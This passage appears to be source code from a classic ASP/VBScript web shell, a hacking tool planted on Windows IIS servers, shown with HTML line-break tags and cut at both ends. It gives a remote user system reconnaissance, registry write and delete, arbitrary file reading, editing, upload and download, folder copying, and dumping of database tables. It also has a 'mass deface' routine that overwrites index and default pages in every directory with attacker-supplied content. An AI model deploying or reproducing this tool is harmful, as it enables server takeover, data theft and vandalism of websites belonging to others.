"<br>"<br /> Next<br /> Response.Write "<br><b>Cpu Information:</b><br>"<br /> Response.Write "<b>Processor Architecture: </b>" & WshEnv("PROCESSOR_ARCHITECTURE") & "<br>"<br /> Response.Write "<b>Number Of Processors: </b>" & WshEnv("NUMBER_OF_PROCESSORS") & "<br>"<br /> Response.Write "<b>Processor Identifier: </b>" & WshEnv("PROCESSOR_IDENTIFIER") & "<br>"<br /> Response.Write "<b>Processor Level: </b>" & WshEnv("PROCESSOR_LEVEL") & "<br>"<br /> Response.Write "<b>Processor Revision: </b>" & WshEnv("PROCESSOR_REVISION") & "<br>"<br /> Response.Write "<br><b>Operating System Information:</b><br>"<br /> Response.Write "<b>IP: </b>" & request.servervariables("LOCAL_ADDR") & "<br>"<br /> Response.Write "<b>Sistem OS: </b>" & WshEnv("OS") & "<br>"<br /> Response.Write "<b>Server Software: </b>" & request.servervariables("SERVER_SOFTWARE") & "<br>"<br /> Response.Write "<b>Cmd Path: </b>" & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "<br>"<br /> Response.Write "<b>Public Paths: </b>" & WshEnv("PATH") & "<br>"<br /> Response.Write "<b>Executables: </b>" & WshEnv("PATHEXT") & "<br>"<br /> Response.Write "<b>Prompt: </b> " & WshEnv("PROMPT") & "<br>"<br /> Response.Write "<b>System Drive: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "<br>"<br /> Response.Write "<b>System Root: </b>" & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "<br>"<br /> Response.Write "<b>System32 Path: </b>" & WshShell.CurrentDirectory & "<br>"<br /> Set Drives = Nothing<br /> Set WshNetwork = Nothing<br /> Set WshShell = Nothing<br /> Set WshEnv = Nothing<br /> Case "reg"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> Set WshShell = Server.CreateObject("WScript.Shell")<br /> Response.Write "<font face=""arial"" size=""2""><br><b>Registry Editor:</b><br><br>"<br /> Select Case Trim(Request.QueryString("regaction"))<br /> Case "w"<br /> If Trim(Request.QueryString("process")) = "yes" Then<br /> Select Case Trim(Request.QueryString("type"))<br /> Case "1"<br /> teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ")<br /> Case "2"<br /> teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD")<br /> Case "3"<br /> teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY")<br /> Case "4"<br /> teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ")<br /> Case "5"<br /> teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ")<br /> End Select<br /> Response.Write "<center><br><font face=""arial"" size=""2"">Registry <b>"<br /> Response.Write Trim(Request.QueryString("key")) & "</b> Changed.</center>"<br /> Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"<br /> Else<br /> Response.Write "<table><tr><td><font face=""arial"" size=""2"">ROOT KEY NAME</td><td><font face=""arial"" size=""2"">ABREVIA?O</td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_USER </td><td><font face=""arial"" size=""1""> HKCU </td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_LOCAL_MACHINE </td><td><font face=""arial"" size=""1""> HKLM </td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CLASSES_ROOT </td><td><font face=""arial"" size=""1""> HKCR </td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_USERS </td><td><font face=""arial"" size=""1""> HKEY_USERS </td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_CONFIG </td><td><font face=""arial"" size=""1""> HKEY_CURRENT_CONFIG </td></tr></table><br>"<br /> Response.Write "<table><tr><td><font face=""arial"" size=""2"">Type </td><td><font face=""arial"" size=""2""> Description </td><td><font face=""arial"" size=""2""> Figure </td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">REG_SZ </td><td><font face=""arial"" size=""1""> String </td><td><font face=""arial"" size=""1""> String </td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">REG_DWORD </td><td><font face=""arial"" size=""1""> Number </td><td><font face=""arial"" size=""1""> DWORD </td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">REG_BINARY </td><td><font face=""arial"" size=""1""> Binary </td><td><font face=""arial"" size=""1""> VBArray DWORD </td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">REG_EXPAND_SZ </td><td><font face=""arial"" size=""1""> String Expand (ex. ""%windir%\\calc.exe"") </td><td><font face=""arial"" size=""1""> String </td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">REG_MULTI_SZ </td><td><font face=""arial"" size=""1""> Array Of Strings </td><td><font face=""arial"" size=""1""> VBArray Of Strings </td></tr></table>"<br /> Response.Write "<br><br><FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"<br /> Response.Write "<table><tr><td><font face=""arial"" size=""1"">KEY: </td><td><input type=""text"" name=""key""> <font face=""arial"" size=""1""><br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )</td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">VALUE:</td><td><input type=""text"" name=""value""></td></tr>"<br /> Response.Write "<tr><td><font face=""arial"" size=""1"">TYPE:</td><td><SELECT NAME=""type"">"<br /> Response.Write "<OPTION VALUE=""1"">REG_SZ </option>"<br /> Response.Write "<OPTION VALUE=""2"">REG_DWORD </option>"<br /> Response.Write "<OPTION VALUE=""3"">REG_BINARY </option>"<br /> Response.Write "<OPTION VALUE=""4"">REG_EXPAND_SZ </option>"<br /> Response.Write "<OPTION VALUE=""5"">REG_MULTI_SZ </option></select><br>"<br /> Response.Write "<input type=""hidden"" name=""regaction"" value=""w"">"<br /> Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"<br /> Response.Write "<input type=""hidden"" name=""process"" value=""yes""></td></tr>"<br /> Response.Write "<tr><td></td><td><input type=""submit"" value=""OK""></form></td></tr></table>"<br /> Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"<br /> End If<br /> Case "r"<br /> If Trim(Request.QueryString("process")) = "yes" Then<br /> Response.Write "<font face=""arial"" size=""2"">" & Trim(Request.QueryString("key")) & "<br>"<br /> Response.Write "Value: <b>" & WshShell.RegRead (Trim(Request.QueryString("key")))<br /> Else<br /> Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"<br /> Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> <br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"<br /> Response.Write "<input type=""hidden"" name=""regaction"" value=""r"">"<br /> Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"<br /> Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"<br /> Response.Write "<input type=""submit"" value=""OK""></form>"<br /> End If<br /> Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"<br /> Case "d"<br /> If Trim(Request.QueryString("process")) = "yes" Then<br /> teste = WshShell.RegDelete (Trim(Request.QueryString("key")))<br /> Response.Write "Chave <b>" & Trim(Request.QueryString("key")) & " </b>Deleted."<br /> Else<br /> Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"<br /> Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"<br /> Response.Write "<input type=""hidden"" name=""regaction"" value=""d"">"<br /> Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"<br /> Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"<br /> Response.Write "<input type=""submit"" value=""OK""></form>"<br /> End If<br /> Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">Main Menu</a><br>"<br /> Case Else<br /> Response.Write "<font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=w"">WRITE VALUE</a><br><br>"<br /> Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=r"">READ VALUE</a><br><br>"<br /> Response.Write "<a, href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=d"">DELETE KEY</a><br>"<br /> End Select<br /> Set WshShell = Nothing<br /> Case "txtview"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp & "<font face=""arial"" size=""2"">"<br /> file = Replace(Trim(Request.QueryString("file")),"|","\")<br /> Set fso = CreateObject("Scripting.FileSystemObject") <br /> Set a = fso.OpenTextFile(file)<br /> Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"<br>")," ","&nbsp;")<br /> Set a = Nothing<br /> Set fso = Nothing<br /> Case "txtedit"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> If Request.Form.Count = 0 Then<br /> file = Replace(Trim(Request.QueryString("file")),"|","\")<br /> Set fso = CreateObject("Scripting.FileSystemObject")<br /> Set a = fso.OpenTextFile(file)<br /> Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"<br /> Response.Write "<textarea cols='85' rows='25' name=""content"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea><br>"<br /> Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("file")) & """>"<br /> Response.Write "<input type=""submit"" name=""savemethod"" value=""Save"">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=""submit"" name=""savemethod"" value=""Save as""></form>"<br /> Set a = Nothing<br /> Set fso = Nothing<br /> Else<br /> Select Case Trim(Request.Form("savemethod"))<br /> Case "Save"<br /> Set fso = CreateObject("Scripting.FileSystemObject")<br /> novotexto = Trim(Request.Form("content"))<br /> novotexto = Split(novotexto,vbCrLf)<br /> Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2)<br /> For i = 0 To UBound(novotexto)<br /> objstream.WriteLine(novotexto(i))<br /> Next<br /> objstream.Close<br /> Set objstream = Nothing<br /> Response.Write "Texto salvo: <b>" & Replace(Trim(Request.Form("path")),"|","\") & "</b>"<br /> Case "Save as"<br /> Set fso = CreateObject("Scripting.FileSystemObject")<br /> novotexto = Trim(Request.Form("content"))<br /> novotexto = Split(novotexto,vbCrLf)<br /> caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"<br /> Set objstream = fso.CreateTextFile(caminho,true,false)<br /> For i = 0 To UBound(novotexto)<br /> objstream.WriteLine(novotexto(i))<br /> Next<br /> objstream.Close<br /> Set objstream = Nothing<br /> Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"<br /> Response.Write "<input type=""text"" name=""filename"" value=""" & showobj(Replace(Trim(Request.Form("path")),"|","\")) & """><br>"<br /> Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.Form("path")) & """>"<br /> Response.Write "<input type=""submit"" name=""savemethod2"" value=""Save""></form>"<br /> Case Else<br /> caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> Set MyFile = ObjFSO.GetFile(caminho)<br /> destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename"))<br /> MyFile.Move (destino)<br /> If Err.Number = 0 Then<br /> Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & destino & "</b> salvo!"<br /> Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"<br /> End If <br /> End Select<br /> End If<br /> Case "download"<br /> Response.Buffer = True<br /> Response.Clear<br /> strFileName = Replace(Trim(Request.QueryString("file")),"|","\")<br /> strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))<br /> strFileType = Request.QueryString("type")<br /> if strFileType = "" then strFileType = "application/download"<br /> Set fso = Server.CreateObject("Scripting.FileSystemObject")<br /> Set f = fso.GetFile(strFilename)<br /> intFilelength = f.size<br /> Set f = Nothing<br /> Set fso = Nothing<br /> Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile<br /> Response.AddHeader "Content-Length", intFilelength<br /> Response.Charset = "UTF-8"<br /> Response.ContentType = strFileType<br /> Set Stream = Server.CreateObject("ADODB.Stream")<br /> Stream.Open<br /> Stream.type = 1<br /> Stream.LoadFromFile strFileName<br /> Response.BinaryWrite Stream.Read<br /> Response.Flush<br /> Stream.Close<br /> Set Stream = Nothing<br /> Case "upload"<br /> If Request.QueryString("processupload") <> "yes" Then<br /> Response.Write "<FORM METHOD=""POST"" ENCTYPE=""multipart/form-data"" ACTION=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&processupload=yes&path=" & Request.QueryString("path") & """>"<br /> Response.Write "<TABLE BORDER=0>"<br /> Response.Write "<tr><td><font face=""arial"" size=""2""><b>Select a file to upload:</b><br><INPUT TYPE=FILE SIZE=50 NAME=""FILE1""></td></tr>"<br /> Response.Write "<tr><td align=""center""><font face=""arial"" size=""2""><INPUT TYPE=SUBMIT VALUE=""Upload!""></td></tr>"<br /> Response.Write "</TABLE>"<br /> Else<br /> Set Uploader = New FileUploader<br /> Uploader.Upload()<br /> If Uploader.Files.Count = 0 Then<br /> Response.Write "File(s) not uploaded."<br /> Else<br /> For Each File In Uploader.Files.Items<br /> File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\")<br /> Response.Write "File Uploaded: " & File.FileName & "<br>"<br /> Response.Write "Size: " & File.FileSize & " bytes<br>"<br /> Response.Write "Type: " & File.ContentType & "<br><br>"<br /> Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"<br /> Next<br /> End If<br /> End If<br /> Case "mass"<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write copyright & onlinehelp<br /> Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)<br /> On Error Resume Next<br /> Set MonRep = ObjFSO.GetFolder(caminhodomass)<br /> Set ColFolders = MonRep.SubFolders<br /> for each folderItem in ColFolders<br /> destino1 = folderItem.path & "\index.htm"<br /> destino2 = folderItem.path & "\index.html"<br /> destino3 = folderItem.path & "\index.asp"<br /> destino4 = folderItem.path & "\index.cfm"<br /> destino5 = folderItem.path & "\index.php"<br /> destino6 = folderItem.path & "\default.htm"<br /> destino7 = folderItem.path & "\default.html"<br /> destino8 = folderItem.path & "\default.asp"<br /> destino9 = folderItem.path & "\default.cfm"<br /> destino10 = folderItem.path & "\default.php"<br /> MeuArquivo.Copy(destino1)<br /> MeuArquivo.Copy(destino2)<br /> MeuArquivo.Copy(destino3)<br /> MeuArquivo.Copy(destino4)<br /> MeuArquivo.Copy(destino5)<br /> MeuArquivo.Copy(destino6)<br /> MeuArquivo.Copy(destino7)<br /> MeuArquivo.Copy(destino8)<br /> MeuArquivo.Copy(destino9)<br /> MeuArquivo.Copy(destino10)<br /> Response.Write "<table><tr><td><font face='arial' size='2'>&lt;DIR&gt; " & folderItem.path & "</td>"<br /> If Err.Number = 0 Then<br /> Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>DONE!</font></td></tr>"<br /> Else<br /> Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>"<br /> End If<br /> Err.Number = 0<br /> Response.Flush<br /> If metodo = "brute" Then<br /> Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)<br /> End If<br /> next<br /> End Sub<br /> Sub brutemass(caminho,massaction)<br /> If massaction = "test" Then<br /> On Error Resume Next<br /> Set MonRep = ObjFSO.GetFolder(caminho)<br /> Set ColFolders = MonRep.SubFolders<br /> Set ColFiles0 = MonRep.Files<br /> for each folderItem in ColFolders<br /> Set TotalFolders = ObjFSO.GetFolder(folderItem.path)<br /> Set EachFolder = TotalFolders.SubFolders<br /> Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"<br /> maindestino = folderItem.path & "\"<br /> MeuArquivo.Copy(maindestino)<br /> Response.Write "<tr><td><b><font face='arial' size='2'>&lt;DIR&gt; " & maindestino & "</b></td>"<br /> If Err.Number = 0 Then<br /> Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"<br /> Else<br /> Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"<br /> End If<br /> Err.Number = 0<br /> Response.Flush<br /> If EachFolder.count > 0 Then<br /> masscontador = 0<br /> for each subpasta in EachFolder<br /> masscontador = masscontador + 1<br /> destino = subpasta.path & "\"<br /> If masscontador = 1 Then<br /> destinofinal = destino<br /> pathfinal = subpasta.path<br /> Err.Number = 0<br /> MeuArquivo.Copy(destinofinal)<br /> Response.Write "<tr><td><font face='arial' size='2'>&lt;DIR&gt; " & showobj(pathfinal) & "</td>"<br /> If Err.Number = 0 Then<br /> Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"<br /> Else<br /> Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"<br /> End If<br /> Err.Number = 0<br /> Response.Flush<br /> Else<br /> MeuArquivo.Copy(destino)<br /> Response.Write "<tr><td><font face='arial' size='2'>&lt;DIR&gt; " & showobj(subpasta.path) & "</td>"<br /> If Err.Number = 0 Then<br /> Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"<br /> Else<br /> Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"<br /> End If<br /> Err.Number = 0<br /> Response.Flush<br /> End If<br /> next<br /> masscontador = 0<br /> End If<br /> Response.Write "</table><br>"<br /> Call brutemass(folderItem.path & "\","test")<br /> next<br /> Set MonRep = Nothing<br /> Set ColFolders = Nothing<br /> Set ColFiles0 = Nothing<br /> Else<br /> If Request.Form.Count = 0 Then<br /> Response.Write "<font face=""arial"" size=""2""><br><br><b>Brute:</b> Test and Deface root and sub directories.<br><br>"<br /> Response.Write "<b>Single:</b> Test and deface only root directories.<br><br>"<br /> Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc"">"<br /> Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>"<br /> Response.Write "<center><font face=""arial"" size=""2"">Deface Code:<br>"<br /> Response.Write "<textarea cols='65' rows='15' name=""content""></textarea><br>"<br /> Response.Write "<input type=""radio"" name=""massopt"" value=""brute"" checked>Brute&nbsp;&nbsp;&nbsp;"<br /> Response.Write "<input type=""radio"" name=""massopt"" value=""single"">Single<br>"<br /> Response.Write "<input type=""submit"" value=""Deface ALL!""></center>"<br /> Response.Write "</form>"<br /> Else<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))<br /> arquivomassdfc = patharquivotxt & "teste.txt"<br /> Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)<br /> vetordelinhas = Split(Request.Form("content"),VbCrLf)<br /> For i = 0 To UBound(vetordelinhas)<br /> Arquivotxt.WriteLine(vetordelinhas(i))<br /> Next<br /> Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)<br /> <br /> If Request.Form("massopt") = "single" Then<br /> Call themassdeface(caminho,"single",ObjFSO,MeuArquivo)<br /> ElseIf Request.Form("massopt") = "brute" Then<br /> Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)<br /> End If<br /> End If<br /> End If<br /> End Sub<br /> If Trim(Request.QueryString("massact")) = "test" Then<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))<br /> arquivo = patharquivotxt & "_vti_cnf.log"<br /> Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True)<br /> Set MeuArquivo = ObjFSO.GetFile(arquivo)<br /> Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test")<br /> ElseIf Trim(Request.QueryString("massact")) = "dfc" Then<br /> Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc")<br /> End If<br /> Case "fcopy"<br /> If Trim(Request.Form("submit1")) = "Copy" Then<br /> mptpath=Trim(Request.Form("path"))<br /> mptdest=Trim(Request.Form("cf"))<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> isl = ""<br /> if Trim(Request.Form("islem"))="kopyala" then<br /> objFSO.CopyFolder mptpath,mptdest<br /> isl="Copied.." <br /> elseif Trim(Request.Form("islem"))="tasi" then<br /> objFSO.MoveFolder mptpath,mptdest<br /> isl="moved.." <br /> end if<br /><br /> response.Write "Command: "&isl<br /> response.Write "<br><font color=red>File From: </font>" & mptpath & "<br><font color=red>Copy to: </font>" & mptdest<br /> response.Write "<br>"<br /> Else<br /> Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=fcopy"">"<br /> Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Copy Path : </td><td>"<br /> Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("path")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>"<br /> Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("path")) & "\","|","\") &"' name=cf>"<br /> response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>"<br /> Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"<br /> response.Write "<input type=radio name='islem' value='kopyala' checked>Copy"<br /> response.Write "<input type=radio name='islem' value='tasi'>Move"<br /> response.Write "</table>"<br /> response.Write "</form>"<br /> End IF<br /><br /> Case "filecopy"<br /> If Trim(Request.Form("submit1")) = "Copy" Then<br /> mptpath=Trim(Request.Form("path"))<br /> mptdest=Trim(Request.Form("cf"))<br /> Set ObjFSO = CreateObject("Scripting.FileSystemObject")<br /> isl = ""<br /> if Trim(Request.Form("islem"))="kopyala" then<br /> objFSO.CopyFile mptpath,mptdest<br /> isl="Copy.." <br /> elseif Trim(Request.Form("islem"))="tasi" then<br /> objFSO.MoveFile mptpath,mptdest<br /> isl="move.." <br /> end if<br /><br /> response.Write "Command: "&isl<br /> response.Write "<br><font color=red>File From: </font>" & mptpath & "<br><font color=red>Copy to: </font>" & mptdest<br /> response.Write "<br>"<br /> Else<br /> Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=filecopy"">"<br /> Response.Write "<table cellpadding=0 cellspacing=0 align=center><tr><td width=100><font size=2>Copy Path : </td><td>"<br /> Response.Write "<input type=hidden value='19' name=status><input type=hidden value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=path><input type=hidden value='"&time&"' name=Time>"<br /> Response.Write "<input style='width:250; height:21' value='"& Replace(Trim(Request.QueryString("file")),"|","\") &"' name=cf>"<br /> response.Write "<input type=submit value='Copy' style='height:22;width:70' id=submit1 name=submit1>"<br /> Response.Write "</td></tr><tr><td colspan=3 align=center><font size=2>"<br /> response.Write "<input type=radio name='islem' value='kopyala' checked>Copy"<br /> response.Write "<input type=radio name='islem' value='tasi'>Move"<br /> response.Write "</table>"<br /> response.Write "</form>"<br /> End IF<br /><br /><br /> Case "search"<br /> If (Trim(Request.Form("submit1")) = "Search") xor Trim(Request.QueryString("status"))<>"" Then<br /> showdisks=FALSE<br /> status5=Trim(Request.Form("status"))<br /> if status5="" then status5=Trim(Request.QueryString("status"))<br /> SELECT CASE status5<br /><br /> CASE "5"<br /> Response.Write "<center><b><font color=orange>"& Trim(Request.QueryString("path")) &"</font></b></center><br>"<br /> Response.Write "<table width=100% ><tr><td>"<br /> set f = objFSO.OpenTextFile(Trim(Request.QueryString("path")),1)<br /> Response.Write "<pre>"&Server.HTMLEncode(f.readAll)&"</pre>"<br /> if err.number=62 then Response.Write "<script language=javascript>alert('Bu Dosya Okunamyyor\nSistem dosyas?olabilir')</script>":Response.End<br /><br /><br /><br /> CASE "7":<br /> Response.Write "<b><font size=3>Tables</font></br><br>"<br /> Set objConn = Server.CreateObject("ADODB.Connection")<br /> Set objADOX = Server.CreateObject("ADOX.Catalog")<br /> objConn.Provider = "Microsoft.Jet.Oledb.4.0"<br /> objConn.ConnectionString = Trim(Request.QueryString("path"))<br /> objConn.Open<br /> objADOX.ActiveConnection = objConn<br /><br /> For Each table in objADOX.Tables<br /> If table.Type = "TABLE" Then<br /> Response.Write "<font face=wingdings size=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a><br>"<br /> End If<br /> Next<br /><br /> CASE "8":<br /> table=Trim(Request.QueryString("table"))<br /> Response.Write "<font color=red><h4>Table Name: " & table & "</h4></font><br><Br><br>"<br /> Set objConn = Server.CreateObject("ADODB.Connection")<br /> Set objRcs = Server.CreateObject("ADODB.RecordSet")<br /> objConn.Provider = "Microsoft.Jet.Oledb.4.0"<br /> objConn.ConnectionString = Trim(Request.QueryString("path"))<br /> objConn.Open<br /> objRcs.Open table,objConn, adOpenKeyset , , adCmdText<br /> <br /> Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"<br /> for i=0 to objRcs.Fields.count-1<br /> Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"<br /> next<br /> Response.Write "</tr>"<br /> do while not objRcs.EOF<br /> Response.Write "<tr>"<br /> for i=0 to objRcs.Fields.count-1<br /> Response.Write "<td>"&objRcs.Fields(i).Value&"&nbsp;</td>"<br /> next<br /> Response.Write "</tr>"<br /> objRcs.MoveNext<br /> loop<br /> Response.Write "</table><br>"<br /><br /><br /> case "12": araBul Trim(Request.Form("path")),Trim(Request.Form("arama"))<br /><br /> END SELECT<br /><br /> Else<br /> showdisks=FALSE<br /> checa = checking(cprthtml,keydec)<br /> Call hdr()<br /> Response.Write "<form method=""post"" target=""_opener"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=search"">"<br /> Response.Write "<table widht='100%' border=0 cellpadding=0 cellspacing=0><tr><td width=70><font size=2>File Ext: </td><td>"<br /> Response.Write "&nbsp;<input type=hidden value='12' name=status>"<br /> Response.Write "<input type=hidden value=""" & Replace(Trim(Request.QueryString("path")),"|","\") & """ name=""path""><input style='width:250' value='mdb' name='arama'><input style='width:70; height:22' type=submit value='Search' name='submit1'>"<br /> Response.Write "</td></tr></table></form>"<br /> End IF<br /><br /><br /><br /> Case "sqlserver"<br /> If (Trim(Request.Form("submit1")) = "Execute SQL Server Command") xor Trim(Request.QueryString("status"))<>"" Then<br /> showdisks=FALSE<br /> status5=Trim(Request.Form("status"))<br /> if status5="" then status5=Trim(Request.QueryString("status"))<br /> SELECT CASE status5<br /><br /><br /> CASE "7":<br /> Response.Write "<b><font size=3>Tables</font></br><br>"<br /> Set objConn = Server.CreateObject("ADODB.Connection")<br /> Set objADOX = Server.CreateObject("ADOX.Catalog")<br /> objConn.Provider = "Microsoft.Jet.Oledb.4.0"<br /> objConn.ConnectionString = Trim(Request.QueryString("path"))<br /> objConn.Open<br /> objADOX.ActiveConnection = objConn<br /><br /> For Each table in objADOX.Tables<br /> If table.Type = "TABLE" Then<br /> Response.Write "<font face=wingdings size=5>4</font> <a href='"& Request.ServerVariables("SCRIPT_NAME") &"?action=search&status=8&Path="& Trim(Request.QueryString("path")) &"&table="&table.Name&"'>"&table.Name&"</a><br>"<br /> End If<br /> Next<br /><br /> CASE "8":<br /> table=Trim(Request.QueryString("table"))<br /> Response.Write "<font color=red><h4>Table Name: " & table & "</h4></font><br><Br><br>"<br /> Set objConn = Server.CreateObject("ADODB.Connection")<br /> Set objRcs = Server.CreateObject("ADODB.RecordSet")<br /> objConn.Provider = "Microsoft.Jet.Oledb.4.0"<br /> objConn.ConnectionString = Trim(Request.QueryString("path"))<br /> objConn.Open<br /> objRcs.Open table,objConn, adOpenKeyset , , adCmdText<br /> <br /> Response.Write "<table border=1 cellpadding=2 cellspacing=0 bordercolor=543152><tr bgcolor=silver>"<br /> for i=0 to objRcs.Fields.count-1<br /> Response.Write "<td><font color=black><b>&nbsp;&nbsp;&nbsp;"&objRcs.Fields(i).Name&"&nbsp;&nbsp;&nbsp;</font></td>"<br /> next<br /> Response.Write "</tr>"<br /> do while not 